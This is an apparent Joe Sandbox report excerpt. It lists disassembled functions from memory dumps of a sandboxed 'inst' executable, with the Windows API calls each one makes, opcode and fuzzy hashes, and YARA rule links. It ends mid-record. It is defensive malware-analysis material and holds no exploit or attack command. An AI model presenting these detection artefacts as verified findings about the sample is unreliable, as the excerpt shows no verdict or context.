Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 43382c89c566047df1a79cefd5c992ac94308cba32c9b50fa856fa8ab6d43727
Instruction ID: 4afd08fb82608be9f8e3e4c6a7b3fee1cd7ff185dea7057bf017282f55c31986
Opcode Fuzzy Hash: 43382c89c566047df1a79cefd5c992ac94308cba32c9b50fa856fa8ab6d43727
Instruction Fuzzy Hash: 53E15A75900609EFCB15EFA4C9819EDBBF5BF28300F10452EF55AA7691EB30AA45CF90

Function 00162860 Relevance: 4.8, APIs: 3, Instructions: 286COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001628B3
_malloc.LIBCMT ref: 001629B5
SetLastError.KERNEL32(00000008,00002000,?,00000000), ref: 001629C5

Part of subcall function 00165690: _malloc.LIBCMT ref: 0016569C
Part of subcall function 00165690: SetLastError.KERNEL32(00000008,00000000,0016291E,00000000,00002000,?,00000000), ref: 001656AE

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ErrorLast_malloc$_memset
String ID:
API String ID: 1834304950-0
Opcode ID: c60c2a6b2cdd2fcad2807329fa1c17e3f7573e89f586d2f5c171568a14896bea
Instruction ID: a23e214d448f7c0fc8a38ce128eaeb9682ff9a3e9b21678b1d90bf05d927e760
Opcode Fuzzy Hash: c60c2a6b2cdd2fcad2807329fa1c17e3f7573e89f586d2f5c171568a14896bea
Instruction Fuzzy Hash: D3B177B19087419BD720DF25D885B6FB7E4BBD8308F14492DF89987241E7B0E958CB93

Function 00164CB0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,00000000,?,00000000,?,?,00161043,?), ref: 00164CF6
ReadFile.KERNEL32(?,?,00000008,?,00000000,?,00000000,?,00000000,?,?,00161043,?), ref: 00164D13
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,00000000,?,00000000,?,?,00161043,?), ref: 00164D98

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$Pointer$Read
String ID:
API String ID: 2010065189-0
Opcode ID: f8f3c6149dbd1b091d6829b491b09e703e20e8f0e8df1a03963d126d97ba0f7f
Instruction ID: 9f013aa3db5ee6e7db0060f05bbbffd2cb3c29b04fc449b01fb2a18009516438
Opcode Fuzzy Hash: f8f3c6149dbd1b091d6829b491b09e703e20e8f0e8df1a03963d126d97ba0f7f
Instruction Fuzzy Hash: 0E315971A08301AFD310EF95DD80A6BB3E9EBA8748F10492DF89597280EB70DD648B53

Function 001B18C5 Relevance: 4.6, APIs: 3, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001B18CC
GetClientRect.USER32(?,?), ref: 001B1912
OffsetRect.USER32(?,?,00000000), ref: 001B1957

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Rect$ClientH_prolog3Offset
String ID:
API String ID: 236044050-0
Opcode ID: 6225bec5df775dad5710e3d4e1c8a71cb801580dd34eac3547f165c1d4773426
Instruction ID: c2d9dd29c2475b659790efc64f24440ed6937cb8817be3ff83be5f849116ebf4
Opcode Fuzzy Hash: 6225bec5df775dad5710e3d4e1c8a71cb801580dd34eac3547f165c1d4773426
Instruction Fuzzy Hash: 2821D07590021AEFCF01DFE8D8858EEBBBABF58314F51401AF905A7210D730AA51CBA0

Function 001C87F5 Relevance: 4.6, APIs: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001C8838
__wsplitpath.LIBCMT ref: 001C8845

Part of subcall function 001EEDC6: __wsplitpath_helper.LIBCMT ref: 001EEE08

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001C8874

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: DiskFreeSpace__wsplitpath__wsplitpath_helper_memset
String ID:
API String ID: 1401654830-0
Opcode ID: 0770eff876345d7190df7f151883ae643ee19a68691eb2c426fcf79b379d5c1d
Instruction ID: 555de6dd397eca7e5de80b23d4eff7ae984e7478e8f74780eac95c3aeeaadc85
Opcode Fuzzy Hash: 0770eff876345d7190df7f151883ae643ee19a68691eb2c426fcf79b379d5c1d
Instruction Fuzzy Hash: 9821C97291034CAFDB65DFE8DC859EEB7BDAF09304F11452AE519EB241EB30AA04CB51

Function 001AECF0 Relevance: 4.6, APIs: 3, Instructions: 68windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001AECF7

Part of subcall function 001AB33C: KillTimer.USER32(?,00002710), ref: 001AB344

Part of subcall function 001AEC81: GetModuleHandleW.KERNEL32(?), ref: 001AEC97
Part of subcall function 001AEC81: FindResourceW.KERNEL32(?,?,?), ref: 001AECA8
Part of subcall function 001AEC81: SizeofResource.KERNEL32(?,00000000), ref: 001AECB7
Part of subcall function 001AEC81: LoadResource.KERNEL32(?,00000000), ref: 001AECC1
Part of subcall function 001AEC81: LockResource.KERNEL32(00000000), ref: 001AECC8

GetParent.USER32(000000FF), ref: 001AEDA8
SendMessageW.USER32(00000000,00000BD0,00000000,00000000), ref: 001AEDB8

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Resource$FindH_prolog3HandleKillLoadLockMessageModuleParentSendSizeofTimer
String ID:
API String ID: 3209458795-0
Opcode ID: f175d1077bb8b1f47efa6d73eb3882138f25fa8ffcb7fdf02a0f692576e1d264
Instruction ID: 9e0fb9be166d326954acf0a8a39eb033d3d1da202843c222291cb0d497882f80
Opcode Fuzzy Hash: f175d1077bb8b1f47efa6d73eb3882138f25fa8ffcb7fdf02a0f692576e1d264
Instruction Fuzzy Hash: 6521D574700749ABDF11AFB4CC56BAE76E6BF55304F004419F816DB2D2DB70DA119B81

Function 00195B5D Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

GetIpAddrTable.IPHLPAPI(00000000,?,00000000), ref: 00195B74
_malloc.LIBCMT ref: 00195B81

Part of subcall function 001E5674: __FF_MSGBANNER.LIBCMT ref: 001E5697
Part of subcall function 001E5674: __NMSG_WRITE.LIBCMT ref: 001E569E
Part of subcall function 001E5674: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,001F05A7,?,00000001,?,?,001F3329,00000018,0023EF60,0000000C,001F33BA), ref: 001E56EB

GetIpAddrTable.IPHLPAPI(00000000,?,00000000,00000000,?,00000000), ref: 00195B97

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: AddrTable$AllocateHeap_malloc
String ID:
API String ID: 3107517213-0
Opcode ID: d87611f817dad8029365883a23142caddc835124a036991716f8c94df4fd3f7f
Instruction ID: 3e1fea2df39e621e484ed739a4c232219929461c42a3c4834124e7a2d1264837
Opcode Fuzzy Hash: d87611f817dad8029365883a23142caddc835124a036991716f8c94df4fd3f7f
Instruction Fuzzy Hash: F7018472900514AFDF26DF99C8C1AFEB3AFAB14354F21056AF443B2001E7745E809761

Function 0018F326 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0018F32D
PathFileExistsW.SHLWAPI(?,00000000,0022E544,0000005C,00000008), ref: 0018F37D
SHCreateDirectory.SHELL32(00000000,?), ref: 0018F389

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateDirectoryExistsFileH_prolog3Path
String ID:
API String ID: 2789380810-0
Opcode ID: 4febc035c6919ad6b1d24ec89faf73f20d6ce80bbaa2b8bdb4179152c26e860f
Instruction ID: 056619c373e60b09345202b4188b4434b745471278f35f22f7e709e6d7a19f12
Opcode Fuzzy Hash: 4febc035c6919ad6b1d24ec89faf73f20d6ce80bbaa2b8bdb4179152c26e860f
Instruction Fuzzy Hash: 04115E31900609ABCB14FFA5DC95AEE7765BF60354F04842CF9155B281EB309B46CFA1

Function 001D6C45 Relevance: 4.6, APIs: 3, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000001,00000000,?,00000080,00000000,?,00198D5A,00000000,?,001D68E0,?,00000000,00000000,00000748), ref: 001D6C90
_wcsncpy.LIBCMT ref: 001D6CB1

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CreateFile_wcsncpy
String ID:
API String ID: 4108816585-0
Opcode ID: 16042d9b98ec4e89cd8baf89a9f4aa68132347b2a3d4bf743adb231d447bb730
Instruction ID: 3b1003b3983e5d2576fc14625530bd2c901635bd91130ebdb7aea772b1cf0243
Opcode Fuzzy Hash: 16042d9b98ec4e89cd8baf89a9f4aa68132347b2a3d4bf743adb231d447bb730
Instruction Fuzzy Hash: AE01F771650714BADB305B669C49FAF7AACEBD0B94F118427FA45EB381E770994082A0

Function 5F516C30 Relevance: 4.6, APIs: 3, Instructions: 56registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F516C75
RegQueryValueExW.KERNEL32(?,?,00000000,?,?,000001FE,?,?,00000001), ref: 5F516C96
_wcscpy.LIBCMT ref: 5F516CA8

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: QueryValue_memset_wcscpy
String ID:
API String ID: 4123947661-0
Opcode ID: 08fc9298282b561745967f803a8e77af330864988c200b61314959cf8916e11d
Instruction ID: 09548b75503b3f64980108416fcc21cfdcbbd88f9b8863afa88b6e38139f16e8
Opcode Fuzzy Hash: 08fc9298282b561745967f803a8e77af330864988c200b61314959cf8916e11d
Instruction Fuzzy Hash: 431188B66023186FD710DBA4DD84FDBB3FCDB44754F108176A615D7182DA70BA488BA0

Function 0017CE6B Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0017CE75

Part of subcall function 0017CBDE: _wcslen.LIBCMT ref: 0017CBEF

_memset.LIBCMT ref: 0017CEE2
GetLongPathNameW.KERNEL32(00000000,?,00000104), ref: 0017CEF9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3_LongNamePath_memset_wcslen
String ID:
API String ID: 3807393607-0
Opcode ID: 632cdfd472fe8841574eedcfcc71fad0d1bb8cfe681b7f7b62dd308af8c37ed3
Instruction ID: aa7c85a534dc5de43b36c446a7e3e2bba5047fa864ad9ba5a18129f925c454bb
Opcode Fuzzy Hash: 632cdfd472fe8841574eedcfcc71fad0d1bb8cfe681b7f7b62dd308af8c37ed3
Instruction Fuzzy Hash: 3B01B571AA065CABDF14FB54CC4ABEE72B9AF64701F004089F008A7182DBB45F958FD5

Function 001B2FDE Relevance: 4.5, APIs: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001B2FE5

Part of subcall function 0019D649: BeginPaint.USER32(?,?), ref: 0019D65B

SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000006), ref: 001B3038
EndPaint.USER32(?,?), ref: 001B3045

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Paint$BeginH_prolog3_Window
String ID:
API String ID: 4095823405-0
Opcode ID: 9fd58f00d48c3df49c01c701bc81a135f28b8247642d3df8c8676e8f2ad6d17e
Instruction ID: 2bd287ad84c1a92f54c12f23f09feceaed2c60b99ad745a9457db508f6c5be39
Opcode Fuzzy Hash: 9fd58f00d48c3df49c01c701bc81a135f28b8247642d3df8c8676e8f2ad6d17e
Instruction Fuzzy Hash: 9C0116B1900A48AFDF119FD1CC85DEEBBBAFF18308B404429B606AA160D771AD59CF10

Function 00162770 Relevance: 4.5, APIs: 3, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00162744,?), ref: 00162784
CloseHandle.KERNEL32(00000000), ref: 001627CD
CloseHandle.KERNEL32(00000000), ref: 001627D7

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseHandle$CreateFile
String ID:
API String ID: 1378612225-0
Opcode ID: d672bf6417c52e98afd09e306521903a5bf45841e5904039747e64a401a34a74
Instruction ID: c830ec4533954b567022ee637a5b3c866dcd2533362aa0865e6484530df191fc
Opcode Fuzzy Hash: d672bf6417c52e98afd09e306521903a5bf45841e5904039747e64a401a34a74
Instruction Fuzzy Hash: D1F0E232B9472077EA302778BC4AFDA26858FF4B20F264524FE15AB2C4EBB058614295

Function 001D0319 Relevance: 4.5, APIs: 3, Instructions: 36fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(001D059E,?,0024CDA4,?,001D059E,?), ref: 001D0323
CreateFileW.KERNEL32(001D059E,C0000000,00000001,00000000,00000001,00000080,00000000,?,001D059E,?), ref: 001D033E
CloseHandle.KERNEL32(00000000), ref: 001D0367

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$CloseCreateDeleteHandle
String ID:
API String ID: 3273607511-0
Opcode ID: 36ab0094f5c139c407fbe8049baa57c3aa3fbef01c0bf5e174f4b217a11052f3
Instruction ID: 07c5bb6463eb1882b0d9c35adc07d250897a2d03d3e695ec35e1bc2f07b1aa86
Opcode Fuzzy Hash: 36ab0094f5c139c407fbe8049baa57c3aa3fbef01c0bf5e174f4b217a11052f3
Instruction Fuzzy Hash: 65F0E9321002047FDB211B61DC09FEA3A69EB58771F018425FA15961D0DB7290509794

Function 001E5546 Relevance: 4.5, APIs: 3, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 001E5560

Part of subcall function 001E5674: __FF_MSGBANNER.LIBCMT ref: 001E5697
Part of subcall function 001E5674: __NMSG_WRITE.LIBCMT ref: 001E569E
Part of subcall function 001E5674: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,001F05A7,?,00000001,?,?,001F3329,00000018,0023EF60,0000000C,001F33BA), ref: 001E56EB

std::bad_alloc::bad_alloc.LIBCMT ref: 001E5583

Part of subcall function 001E552B: std::exception::exception.LIBCMT ref: 001E5537

__CxxThrowException@8.LIBCMT ref: 001E55A5

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::exception::exception
String ID:
API String ID: 3715980512-0
Opcode ID: fa26167e9b64b000af305e29e6f66f65fce4c56858e11ab551b0d90ca43a3e70
Instruction ID: 86715dbb5c5acda91c57f3c3ecea0efe50be89b7e8e2564d0c96934a4c6ebc88
Opcode Fuzzy Hash: fa26167e9b64b000af305e29e6f66f65fce4c56858e11ab551b0d90ca43a3e70
Instruction Fuzzy Hash: 71F02735900EC862CB087766FC07AAD3BAB8F2631CF040024F811990A2EF60DF418A95

Function 5F528425 Relevance: 4.5, APIs: 3, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 5F52843F

Part of subcall function 5F52856A: __FF_MSGBANNER.LIBCMT ref: 5F52858D
Part of subcall function 5F52856A: __NMSG_WRITE.LIBCMT ref: 5F528594
Part of subcall function 5F52856A: RtlAllocateHeap.NTDLL(00000000,-0000000D,00000001,00000000,00000000,?,5F532E8E,00000002,00000001,00000002,?,5F52F8B1,00000018,5F56C4F0,0000000C,5F52F942), ref: 5F5285E1

std::bad_alloc::bad_alloc.LIBCMT ref: 5F528462

Part of subcall function 5F52840A: std::exception::exception.LIBCMT ref: 5F528416

__CxxThrowException@8.LIBCMT ref: 5F528484

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::exception::exception
String ID:
API String ID: 3715980512-0
Opcode ID: 981617b25d6fbb6860bbfb31b718d8f9d6afc31ec51282b6b47b14676518ac2b
Instruction ID: c3e0bfc0d44f507f91c1216826b7239e81d3a5d28c8287f0dfcf5f252c0ff690
Opcode Fuzzy Hash: 981617b25d6fbb6860bbfb31b718d8f9d6afc31ec51282b6b47b14676518ac2b
Instruction Fuzzy Hash: B4F0E2E1403A0867CA08A7F0E81899B3BE8DF8066DB00863BE813954D1DF20A7518AC1

Function 001B1513 Relevance: 4.5, APIs: 3, Instructions: 29windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 001B152B
PostMessageW.USER32(?,000008C7,?,?), ref: 001B154E
InvalidateRect.USER32(?,00000000,00000001), ref: 001B155A

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

